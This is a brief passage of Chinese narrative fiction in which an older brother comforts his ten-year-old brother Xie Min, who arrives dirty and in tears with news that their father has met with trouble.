可谢敏是他从小带到大的弟弟,而且也才十岁,看到谢敏如此狼狈,他怎么可能不感到心疼。 他微微蹲下身,用衣袖仔细为谢敏擦去脸上的脏污,颤着声问道:“阿敏,你……你怎么来了,又怎么会弄成这样。” 谢敏哭声不止:“阿兄——” “父亲出事了!”